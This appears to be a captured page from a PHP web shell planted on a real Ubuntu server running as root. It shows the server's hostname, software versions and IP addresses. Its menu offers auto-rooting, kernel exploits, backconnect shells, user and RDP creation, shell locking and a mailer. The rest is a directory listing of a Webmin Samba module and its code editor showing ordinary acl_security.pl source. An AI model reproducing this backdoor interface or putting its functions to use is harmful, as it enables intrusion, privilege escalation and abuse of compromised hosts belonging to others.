Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
webmin /
samba /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
2.06
KB
-rw-r--r--
acl_security.pl
12.76
KB
-rwxr-xr-x
ask_epass.cgi
1.46
KB
-rwxr-xr-x
backup_config.pl
752
B
-rwxr-xr-x
cgi_args.pl
1012
B
-rwxr-xr-x
conf_bind.cgi
1.56
KB
-rwxr-xr-x
conf_misc.cgi
2.05
KB
-rwxr-xr-x
conf_net.cgi
2.6
KB
-rwxr-xr-x
conf_pass.cgi
2.36
KB
-rwxr-xr-x
conf_print.cgi
1.17
KB
-rwxr-xr-x
conf_smb.cgi
3.75
KB
-rwxr-xr-x
config-AlmaLinux-7.0-ALL
533
B
-rw-r--r--
config-Amazon-Linux-2-ALL
488
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
533
B
-rw-r--r--
config-CentOS-Stream-Linux-8.0...
533
B
-rw-r--r--
config-CloudLinux-8.0-ALL
533
B
-rw-r--r--
config-Oracle-Linux-8.0-ALL
533
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
488
B
-rw-r--r--
config-Rocky-Linux-7.0-ALL
533
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
488
B
-rw-r--r--
config-aix
539
B
-rw-r--r--
config-cobalt-linux
418
B
-rw-r--r--
config-coherent-linux
502
B
-rw-r--r--
config-corel-linux
405
B
-rw-r--r--
config-debian-linux
427
B
-rw-r--r--
config-debian-linux-2.1
405
B
-rw-r--r--
config-debian-linux-2.2-7.9
690
B
-rw-r--r--
config-debian-linux-8.0-ALL
578
B
-rw-r--r--
config-freebsd
721
B
-rw-r--r--
config-freebsd-8-ALL
813
B
-rw-r--r--
config-generic-linux
547
B
-rw-r--r--
config-gentoo-linux
545
B
-rw-r--r--
config-hpux
574
B
-rw-r--r--
config-irix
593
B
-rw-r--r--
config-lfs-linux
418
B
-rw-r--r--
config-macos
621
B
-rw-r--r--
config-macos-1.5-ALL
517
B
-rw-r--r--
config-mandrake-linux
476
B
-rw-r--r--
config-mandrake-linux-8.1-ALL
484
B
-rw-r--r--
config-msc-linux
480
B
-rw-r--r--
config-netbsd
642
B
-rw-r--r--
config-open-linux
482
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
519
B
-rw-r--r--
config-openbsd
647
B
-rw-r--r--
config-openmamba-linux
496
B
-rw-r--r--
config-openserver
593
B
-rw-r--r--
config-osf1
593
B
-rw-r--r--
config-pardus-linux
403
B
-rw-r--r--
config-redhat-linux
490
B
-rw-r--r--
config-redhat-linux-10.0-15.0
502
B
-rw-r--r--
config-redhat-linux-16.0-23.0
559
B
-rw-r--r--
config-redhat-linux-24.0-ALL
563
B
-rw-r--r--
config-redhat-linux-7.0-9.0
502
B
-rw-r--r--
config-slackware-linux
452
B
-rw-r--r--
config-slackware-linux-7.0-7.1
470
B
-rw-r--r--
config-slackware-linux-8.0-ALL
533
B
-rw-r--r--
config-sol-linux
528
B
-rw-r--r--
config-solaris
593
B
-rw-r--r--
config-solaris-10-ALL
461
B
-rw-r--r--
config-solaris-8-9
533
B
-rw-r--r--
config-suse-linux
452
B
-rw-r--r--
config-suse-linux-13.0-ALL
494
B
-rw-r--r--
config-suse-linux-7.3-8.0
470
B
-rw-r--r--
config-suse-linux-8.2-12.9
545
B
-rw-r--r--
config-syno-linux
293
B
-rw-r--r--
config-trustix-linux
492
B
-rw-r--r--
config-turbo-linux
418
B
-rw-r--r--
config-united-linux
492
B
-rw-r--r--
config-unixware
593
B
-rw-r--r--
config.info
918
B
-rw-r--r--
config.info.bg
1.54
KB
-rw-r--r--
config.info.ca
1.02
KB
-rw-r--r--
config.info.cs
746
B
-rw-r--r--
config.info.da
991
B
-rw-r--r--
config.info.de
1.15
KB
-rw-r--r--
config.info.es
880
B
-rw-r--r--
config.info.fa
1.09
KB
-rw-r--r--
config.info.fr
940
B
-rw-r--r--
config.info.ja
834
B
-rw-r--r--
config.info.nl
953
B
-rw-r--r--
config.info.no
975
B
-rw-r--r--
config.info.pl
1.08
KB
-rw-r--r--
config.info.pt_BR
869
B
-rw-r--r--
config.info.ru
891
B
-rw-r--r--
config.info.ru.UTF-8
887
B
-rw-r--r--
config.info.sv
638
B
-rw-r--r--
config.info.tr
442
B
-rw-r--r--
config.info.uk
939
B
-rw-r--r--
config.info.zh
510
B
-rw-r--r--
config.info.zh_TW
748
B
-rw-r--r--
create_copy.cgi
735
B
-rwxr-xr-x
defaultacl
369
B
-rw-r--r--
delete_euser.cgi
464
B
-rwxr-xr-x
delete_share.cgi
632
B
-rwxr-xr-x
delete_shares.cgi
607
B
-rwxr-xr-x
edit_epass.cgi
880
B
-rwxr-xr-x
edit_euser.cgi
2.59
KB
-rwxr-xr-x
edit_fmisc.cgi
2.21
KB
-rwxr-xr-x
edit_fname.cgi
1.74
KB
-rwxr-xr-x
edit_fperm.cgi
1.85
KB
-rwxr-xr-x
edit_fshare.cgi
3.2
KB
-rwxr-xr-x
edit_group.cgi
1.82
KB
-rwxr-xr-x
edit_gsync.cgi
1.08
KB
-rwxr-xr-x
edit_manual.cgi
583
B
-rwxr-xr-x
edit_popts.cgi
1.82
KB
-rwxr-xr-x
edit_pshare.cgi
3.27
KB
-rwxr-xr-x
edit_sec.cgi
3.06
KB
-rwxr-xr-x
edit_sync.cgi
1.23
KB
-rwxr-xr-x
edit_winbind.cgi
800
B
-rwxr-xr-x
index.cgi
9.34
KB
-rwxr-xr-x
install_check.pl
365
B
-rwxr-xr-x
kill_user.cgi
719
B
-rwxr-xr-x
kill_users.cgi
783
B
-rwxr-xr-x
list_groups.cgi
1.11
KB
-rwxr-xr-x
log_parser.pl
1.78
KB
-rwxr-xr-x
logout.cgi
305
B
-rwxr-xr-x
make_epass.cgi
4.24
KB
-rwxr-xr-x
module.info
246
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
117
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
165
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
179
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
212
B
-rw-r--r--
module.info.ca
104
B
-rw-r--r--
module.info.ca.auto
24
B
-rw-r--r--
module.info.cs
47
B
-rw-r--r--
module.info.cs.auto
104
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
114
B
-rw-r--r--
module.info.de
106
B
-rw-r--r--
module.info.de.auto
22
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
264
B
-rw-r--r--
module.info.es
60
B
-rw-r--r--
module.info.es.auto
100
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
143
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
180
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
130
B
-rw-r--r--
module.info.fr
47
B
-rw-r--r--
module.info.fr.auto
96
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
145
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
144
B
-rw-r--r--
module.info.hu
0
B
-rw-r--r--
module.info.hu.auto
158
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
124
B
-rw-r--r--
module.info.ja
41
B
-rw-r--r--
module.info.ja.auto
119
B
-rw-r--r--
module.info.ko
39
B
-rw-r--r--
module.info.ko.auto
107
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
157
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
149
B
-rw-r--r--
module.info.ms
104
B
-rw-r--r--
module.info.ms.auto
23
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
120
B
-rw-r--r--
module.info.nl
34
B
-rw-r--r--
module.info.nl.auto
88
B
-rw-r--r--
module.info.no
32
B
-rw-r--r--
module.info.no.auto
82
B
-rw-r--r--
module.info.pl
125
B
-rw-r--r--
module.info.pl.auto
24
B
-rw-r--r--
module.info.pt
51
B
-rw-r--r--
module.info.pt.auto
98
B
-rw-r--r--
module.info.pt_BR
60
B
-rw-r--r--
module.info.pt_BR.auto
104
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
141
B
-rw-r--r--
module.info.ru
36
B
-rw-r--r--
module.info.ru.auto
151
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
136
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
138
B
-rw-r--r--
module.info.sv
29
B
-rw-r--r--
module.info.sv.auto
88
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
235
B
-rw-r--r--
module.info.tr
41
B
-rw-r--r--
module.info.tr.auto
115
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
226
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
207
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
133
B
-rw-r--r--
module.info.zh
35
B
-rw-r--r--
module.info.zh.auto
78
B
-rw-r--r--
module.info.zh_TW
36
B
-rw-r--r--
module.info.zh_TW.auto
84
B
-rw-r--r--
opts.pl.dev
6.37
KB
-rw-r--r--
prefs.info
17
B
-rw-r--r--
rbac-mapping
457
B
-rw-r--r--
readonly-share.pl
477
B
-rwxr-xr-x
readwrite-share.pl
481
B
-rwxr-xr-x
restart.cgi
1.33
KB
-rwxr-xr-x
restart_wb.cgi
816
B
-rwxr-xr-x
samba-lib.pl
25.98
KB
-rwxr-xr-x
save_bind.cgi
1.34
KB
-rwxr-xr-x
save_copy.cgi
711
B
-rwxr-xr-x
save_euser.cgi
1.62
KB
-rwxr-xr-x
save_fmisc.cgi
1.37
KB
-rwxr-xr-x
save_fname.cgi
1012
B
-rwxr-xr-x
save_fperm.cgi
1.13
KB
-rwxr-xr-x
save_fshare.cgi
2.63
KB
-rwxr-xr-x
save_group.cgi
1.2
KB
-rwxr-xr-x
save_gsync.cgi
522
B
-rwxr-xr-x
save_manual.cgi
395
B
-rwxr-xr-x
save_misc.cgi
2.05
KB
-rwxr-xr-x
save_net.cgi
1.75
KB
-rwxr-xr-x
save_pass.cgi
2.17
KB
-rwxr-xr-x
save_popts.cgi
1.2
KB
-rwxr-xr-x
save_print.cgi
916
B
-rwxr-xr-x
save_pshare.cgi
2.22
KB
-rwxr-xr-x
save_sec.cgi
2.14
KB
-rwxr-xr-x
save_smb.cgi
2.21
KB
-rwxr-xr-x
save_sync.cgi
691
B
-rwxr-xr-x
save_winbind.cgi
902
B
-rwxr-xr-x
set-hostname-workgroup.pl
737
B
-rwxr-xr-x
smbhash.pl
17.88
KB
-rwxr-xr-x
start.cgi
748
B
-rwxr-xr-x
start_wb.cgi
621
B
-rwxr-xr-x
stop.cgi
492
B
-rwxr-xr-x
stop_wb.cgi
422
B
-rwxr-xr-x
swat.cgi
3.17
KB
-rwxr-xr-x
swat_save.cgi
515
B
-rwxr-xr-x
useradmin_update.pl
4.69
KB
-rwxr-xr-x
view_users.cgi
3.04
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : acl_security.pl
require 'samba-lib.pl'; # acl_security_form(&options) # Output HTML for editing security options for the samba module sub acl_security_form { print "<tr>\n<td><b>$text{'acl_apply'}</b></td> <td>\n"; printf "<input type=radio name=apply value=1 %s> $text{'yes'}\n", $_[0]->{'apply'} ? "checked" : ""; printf "<input type=radio name=apply value=0 %s> $text{'no'}</td>\n", $_[0]->{'apply'} ? "" : "checked"; print "</tr>\n"; print "<tr>\n<td><b>$text{'acl_view_all_con'}</b></td> <td>\n"; printf "<input type=radio name=view_all_con value=1 %s> $text{'yes'}\n", $_[0]->{'view_all_con'} ? "checked" : ""; printf "<input type=radio name=view_all_con value=0 %s> $text{'no'}</td>\n", $_[0]->{'view_all_con'} ? "" : "checked"; print "</tr>\n"; print "<tr>\n<td><b>$text{'acl_kill_con'}</b></td> <td>\n"; printf "<input type=radio name=kill_con value=1 %s> $text{'yes'}\n", $_[0]->{'kill_con'} ? "checked" : ""; printf "<input type=radio name=kill_con value=0 %s> $text{'no'}</td>\n", $_[0]->{'kill_con'} ? "" : "checked"; print "</tr>\n"; print "<tr> <td colspan=4><hr></td> </tr>\n"; print "<tr>\n<td><b>$text{'acl_conf_net'}</b></td> <td>\n"; printf "<input type=radio name=conf_net value=1 %s> $text{'yes'}\n", $_[0]->{'conf_net'} ? "checked" : ""; printf "<input type=radio name=conf_net value=0 %s> $text{'no'}</td>\n", $_[0]->{'conf_net'} ? "" : "checked"; print "</tr>\n"; print "<tr>\n<td><b>$text{'acl_conf_smb'}</b></td> <td>\n"; printf "<input type=radio name=conf_smb value=1 %s> $text{'yes'}\n", $_[0]->{'conf_smb'} ? "checked" : ""; printf "<input type=radio name=conf_smb value=0 %s> $text{'no'}</td>\n", $_[0]->{'conf_smb'} ? "" : "checked"; print "</tr>\n"; print "<tr>\n<td><b>$text{'acl_conf_pass'}</b></td> <td>\n"; printf "<input type=radio name=conf_pass value=1 %s> $text{'yes'}\n", $_[0]->{'conf_pass'} ? "checked" : ""; printf "<input type=radio name=conf_pass value=0 %s> $text{'no'}</td>\n", $_[0]->{'conf_pass'} ? "" : "checked"; print "</tr>\n"; print "<tr>\n<td><b>$text{'acl_conf_print'}</b></td> <td>\n"; printf "<input type=radio name=conf_print value=1 %s> $text{'yes'}\n", $_[0]->{'conf_print'} ? "checked" : ""; printf "<input type=radio name=conf_print value=0 %s> $text{'no'}</td>\n", $_[0]->{'conf_print'} ? "" : "checked"; print "</tr>\n"; print "<tr>\n<td><b>$text{'acl_conf_misc'}</b></td> <td>\n"; printf "<input type=radio name=conf_misc value=1 %s> $text{'yes'}\n", $_[0]->{'conf_misc'} ? "checked" : ""; printf "<input type=radio name=conf_misc value=0 %s> $text{'no'}</td>\n", $_[0]->{'conf_misc'} ? "" : "checked"; print "</tr>\n"; print "<tr>\n<td><b>$text{'acl_swat'}</b></td> <td>\n"; printf "<input type=radio name=swat value=1 %s> $text{'yes'}\n", $_[0]->{'swat'} ? "checked" : ""; printf "<input type=radio name=swat value=0 %s> $text{'no'}</td>\n", $_[0]->{'swat'} ? "" : "checked"; print "</tr>\n"; print "<tr>\n<td><b>$text{'acl_manual'}</b></td> <td>\n"; printf "<input type=radio name=manual value=1 %s> $text{'yes'}\n", $_[0]->{'manual'} ? "checked" : ""; printf "<input type=radio name=manual value=0 %s> $text{'no'}</td>\n", $_[0]->{'manual'} ? "" : "checked"; print "</tr>\n"; print "<tr>\n<td><b>$text{'acl_winbind'}</b></td> <td>\n"; printf "<input type=radio name=winbind value=1 %s> $text{'yes'}\n", $_[0]->{'winbind'} ? "checked" : ""; printf "<input type=radio name=winbind value=0 %s> $text{'no'}</td>\n", $_[0]->{'winbind'} ? "" : "checked"; print "</tr>\n"; print "<tr>\n<td><b>$text{'acl_bind'}</b></td> <td>\n"; printf "<input type=radio name=conf_bind value=1 %s> $text{'yes'}\n", $_[0]->{'conf_bind'} ? "checked" : ""; printf "<input type=radio name=conf_bind value=0 %s> $text{'no'}</td>\n", $_[0]->{'conf_bind'} ? "" : "checked"; print "</tr>\n"; print "<tr> <td colspan=4><hr></td> </tr>\n"; # encripted passwords print "<tr>\n<td $tb><b>$text{'acl_enc_passwd_opts'}</b></td></tr> \n"; print "<tr>\n<td><b>$text{'acl_view_users'}</b></td> <td>\n"; printf "<input type=radio name=view_users value=1 %s> $text{'yes'}\n", $_[0]->{'view_users'} ? "checked" : ""; printf "<input type=radio name=view_users value=0 %s> $text{'no'}</td>\n", $_[0]->{'view_users'} ? "" : "checked"; print "</tr>\n"; print "<tr>\n<td><b>$text{'acl_maint_users'}</b></td> <td>\n"; printf "<input type=radio name=maint_users value=1 %s> $text{'yes'}\n", $_[0]->{'maint_users'} ? "checked" : ""; printf "<input type=radio name=maint_users value=0 %s> $text{'no'}</td>\n", $_[0]->{'maint_users'} ? "" : "checked"; print "</tr>\n"; print "<tr>\n<td><b>$text{'acl_maint_makepass'}</b></td> <td>\n"; printf "<input type=radio name=maint_makepass value=1 %s> $text{'yes'}\n", $_[0]->{'maint_makepass'} ? "checked" : ""; printf "<input type=radio name=maint_makepass value=0 %s> $text{'no'}</td>\n", $_[0]->{'maint_makepass'} ? "" : "checked"; print "</tr>\n"; print "<tr>\n<td><b>$text{'acl_maint_sync'}</b></td> <td>\n"; printf "<input type=radio name=maint_sync value=1 %s> $text{'yes'}\n", $_[0]->{'maint_sync'} ? "checked" : ""; printf "<input type=radio name=maint_sync value=0 %s> $text{'no'}</td>\n", $_[0]->{'maint_sync'} ? "" : "checked"; print "</tr>\n"; print "<tr> <td colspan=4><hr></td> </tr>\n"; # encripted passwords print "<tr>\n<td $tb><b>$text{'acl_group_opts'}</b></td></tr> \n"; print "<tr>\n<td><b>$text{'acl_maint_groups'}</b></td> <td>\n"; printf "<input type=radio name=maint_groups value=1 %s> $text{'yes'}\n", $_[0]->{'maint_groups'} ? "checked" : ""; printf "<input type=radio name=maint_groups value=0 %s> $text{'no'}</td>\n", $_[0]->{'maint_groups'} ? "" : "checked"; print "</tr>\n"; print "<tr>\n<td><b>$text{'acl_maint_gsync'}</b></td> <td>\n"; printf "<input type=radio name=maint_gsync value=1 %s> $text{'yes'}\n", $_[0]->{'maint_gsync'} ? "checked" : ""; printf "<input type=radio name=maint_gsync value=0 %s> $text{'no'}</td>\n", $_[0]->{'maint_gsync'} ? "" : "checked"; print "</tr>\n"; print "<tr> <td colspan=4><hr></td> </tr>\n"; # hide print "<tr>\n<td><b>$text{'acl_hide'}</b></td> <td>\n"; printf "<input type=radio name=hide value=1 %s> $text{'yes'}\n", $_[0]->{'hide'} == 1 ? "checked" : ""; printf "<input type=radio name=hide value=0 %s> $text{'no'}</td>\n", $_[0]->{'hide'} == 0 ? "checked" : ""; print "</tr>\n"; print "<tr> <td colspan=4><hr></td> </tr>\n"; # global acls print "<tr>\n<td><b>$text{'acl_afs'}</b></td>\n"; print "<td colspan=3>\n"; printf "<input type=checkbox name=c_fs value=1 %s> %s\n", $_[0]->{'c_fs'} ? "checked" : "", $text{"acl_c"}; printf "<input type=checkbox name=r_fs value=1 %s> %s\n", $_[0]->{'r_fs'} ? "checked" : "", $text{"acl_r"}; printf "<input type=checkbox name=w_fs value=1 %s> %s\n", $_[0]->{'w_fs'} ? "checked" : "", $text{"acl_w"}; print "</td> </tr>\n"; print "<tr>\n<td><b>$text{'acl_aps'}</b></td>\n"; print "<td colspan=3>\n"; printf "<input type=checkbox name=c_ps value=1 %s> %s\n", $_[0]->{'c_ps'} ? "checked" : "", $text{"acl_c"}; printf "<input type=checkbox name=r_ps value=1 %s> %s\n", $_[0]->{'r_ps'} ? "checked" : "", $text{"acl_r"}; printf "<input type=checkbox name=w_ps value=1 %s> %s\n", $_[0]->{'w_ps'} ? "checked" : "", $text{"acl_w"}; print "</td> </tr>\n"; print "<tr>\n<td><b>$text{'acl_copy'}</b></td> <td>\n"; printf "<input type=radio name=copy value=1 %s> $text{'yes'}\n", $_[0]->{'copy'} ? "checked" : ""; printf "<input type=radio name=copy value=0 %s> $text{'no'}</td>\n", $_[0]->{'copy'} ? "" : "checked"; print "</tr>\n"; print "<tr> <td colspan=4><hr></td> </tr>\n"; # per-share acls print "<tr><td><b>$text{'acl_per_fs_acls'}</b></td> <td>\n"; printf "<input type=radio name=per_fs_acls value=1 %s> $text{'yes'}\n", $_[0]->{'per_fs_acls'} ? "checked" : ""; printf "<input type=radio name=per_fs_acls value=0 %s> $text{'no'}\n", $_[0]->{'per_fs_acls'} ? "" : "checked"; print "</td></tr>\n"; print "<tr><td><b>$text{'acl_per_ps_acls'}</b></td> <td>\n"; printf "<input type=radio name=per_ps_acls value=1 %s> $text{'yes'}\n", $_[0]->{'per_ps_acls'} ? "checked" : ""; printf "<input type=radio name=per_ps_acls value=0 %s> $text{'no'}\n", $_[0]->{'per_ps_acls'} ? "" : "checked"; print "</td></tr>\n"; print "<tr> <td colspan=4><hr></td> </tr>\n"; # table print "<tr> <td colspan=4>\n<table border width=100%>\n"; printf "<th $tb colspan=7><b>%s</b></th>\n", $text{'acl_per_share_acls'}; print "<tr $tb>\n"; printf "<td rowspan=2><b>%s</b></td>\n", $text{'acl_sname'}; printf "<td rowspan=2><b>%s</b></td>\n", $text{'acl_saccess'}; printf "<td rowspan=2><b>%s</b></td>\n", $text{'acl_sconn'}; printf "<th colspan=4><b>%s</b></th>\n", $text{'acl_sopthdr'}; print "</tr>\n<tr $tb>\n"; printf "<td><b>%s</b></td>\n", $text{'acl_ssec'}; printf "<td><b>%s</b></td>\n", $text{'acl_sperm'}; printf "<td><b>%s</b></td>\n", $text{'acl_snaming'}; printf "<td><b>%s<br>%s</b></td>\n", $text{'acl_smisc'}, $text{'acl_sprn'}; print "</tr>\n"; foreach (&list_shares()) { &display_acl_row($_[0], $_); } print "</table> </td> </tr>\n"; } # acl_security_save(&options) # Parse the form for security options for the samba module sub acl_security_save { if ($in{'r_fs'} < $in{'w_fs'} || $in{'r_ps'} < $in{'w_ps'}) { &error($text{'acl_ernow'}); } # If create, read, AND write are all turned off... don't SHOW file shares... $_[0]->{'conf_fs'}=1; if ($in{'c_fs'} == "" && $in{'r_fs'} == "" && $in{'w_fs'} == "") { $_[0]->{'conf_fs'}=0; } # If create, read, AND write are all turned off... don't SHOW print shares... $_[0]->{'conf_ps'}=1; if ($in{'c_ps'} == "" && $in{'r_ps'} == "" && $in{'w_ps'} == "") { $_[0]->{'conf_ps'}=0; } $_[0]->{'apply'}=$in{'apply'}; $_[0]->{'view_all_con'}=$in{'view_all_con'}; $_[0]->{'kill_con'}=$in{'kill_con'}; $_[0]->{'conf_net'}=$in{'conf_net'}; $_[0]->{'conf_smb'}=$in{'conf_smb'}; $_[0]->{'conf_pass'}=$in{'conf_pass'}; $_[0]->{'conf_print'}=$in{'conf_print'}; $_[0]->{'conf_misc'}=$in{'conf_misc'}; $_[0]->{'swat'}=$in{'swat'}; $_[0]->{'manual'}=$in{'manual'}; $_[0]->{'hide'}=$in{'hide'}; $_[0]->{'per_fs_acls'}=$in{'per_fs_acls'}; $_[0]->{'per_ps_acls'}=$in{'per_ps_acls'}; $_[0]->{'c_fs'}=$in{'c_fs'}; $_[0]->{'r_fs'}=$in{'r_fs'}; $_[0]->{'w_fs'}=$in{'w_fs'}; $_[0]->{'c_ps'}=$in{'c_ps'}; $_[0]->{'r_ps'}=$in{'r_ps'}; $_[0]->{'w_ps'}=$in{'w_ps'}; $_[0]->{'copy'}=$in{'copy'}; $_[0]->{'view_users'}=$in{'view_users'}; $_[0]->{'maint_users'}=$in{'maint_users'}; $_[0]->{'maint_makepass'}=$in{'maint_makepass'}; $_[0]->{'maint_sync'}=$in{'maint_sync'}; $_[0]->{'maint_groups'}=$in{'maint_groups'}; $_[0]->{'maint_gsync'}=$in{'maint_gsync'}; $_[0]->{'winbind'}=$in{'winbind'}; $_[0]->{'conf_bind'}=$in{'conf_bind'}; foreach (keys %in) { $_[0]->{$1} .= $in{$_} if /^\w\w_(ACL\w\w_\w+)$/; } } # display_acl_row(\%access, $share_name) sub display_acl_row { local($acc,$name)=@_; local %share; &get_share($name); local $stype=&istrue('printable') ? 'ps' : 'fs'; local $aclname='ACL' . $stype . '_' . $name; #display row print "<tr>\n"; printf $stype eq 'fs' ? "<td><b>%s</b></td>\n" : "<td><b><i>%s</i></td>\n", $name; &display_acl_cell($acc, $name, 'r', 'w', $aclname, $text{'acl_na'}, $text{'acl_r1'}, $text{'acl_rw'}); &display_acl_cell($acc, $name, 'v', 'V', $aclname, $text{'acl_na'}, $text{'acl_view'}, $text{'acl_kill'}); &display_acl_cell($acc, $name, 's', 'S', $aclname, $text{'acl_na'}, $text{'acl_view'}, $text{'acl_edit'}); $stype eq 'fs' ? &display_acl_cell($acc, $name, 'p', 'P', $aclname, $text{'acl_na'}, $text{'acl_view'}, $text{'acl_edit'}) : print "<td> </td>\n"; $stype eq 'fs' ? &display_acl_cell($acc, $name, 'n', 'N', $aclname, $text{'acl_na'}, $text{'acl_view'}, $text{'acl_edit'}) : print "<td> </td>\n"; &display_acl_cell($acc, $name, 'o', 'O', $aclname, $text{'acl_na'}, $text{'acl_view'}, $text{'acl_edit'}); print "</tr>\n"; } #display_acl_cell(\%access, $name, # $rperm, $wperm, $aclname, # $text1, $text2, $text3) sub display_acl_cell { local ($acc, $name, $rp, $wp, $aclname, $text1, $text2, $text3) = @_; local $rn = $rp . $wp . '_' . $aclname; print "<td>\n"; if($acc->{$aclname}) { printf "<input type=radio name=$rn value='' %s> %s<br>\n", !&perm_to($rp, $acc, $aclname) ? "checked" : "", $text1; printf "<input type=radio name=$rn value='$rp' %s> %s<br>\n", &perm_to($rp, $acc, $aclname) && !&perm_to($rp.$wp, $acc, $aclname) ? "checked" : "",$text2; printf "<input type=radio name=$rn value='$rp$wp' %s> %s\n", &perm_to($rp.$wp, $acc, $aclname) ? "checked" : "", $text3; } else { printf "<input type=radio name=$rn value='' checked> %s<br>\n", $text1; printf "<input type=radio name=$rn value='$rp'> %s<br>\n", $text2; printf "<input type=radio name=$rn value='$rp$wp'> %s\n", $text3; } print "</td>\n"; } # perm_to($permissions_string,\%access,$ACLname) # check only per-share permissions sub perm_to { local $acl=$_[1]->{$_[2]}; foreach (split //,$_[0]) { return 0 if index($acl,$_) == -1; } return 1; } 1;
Close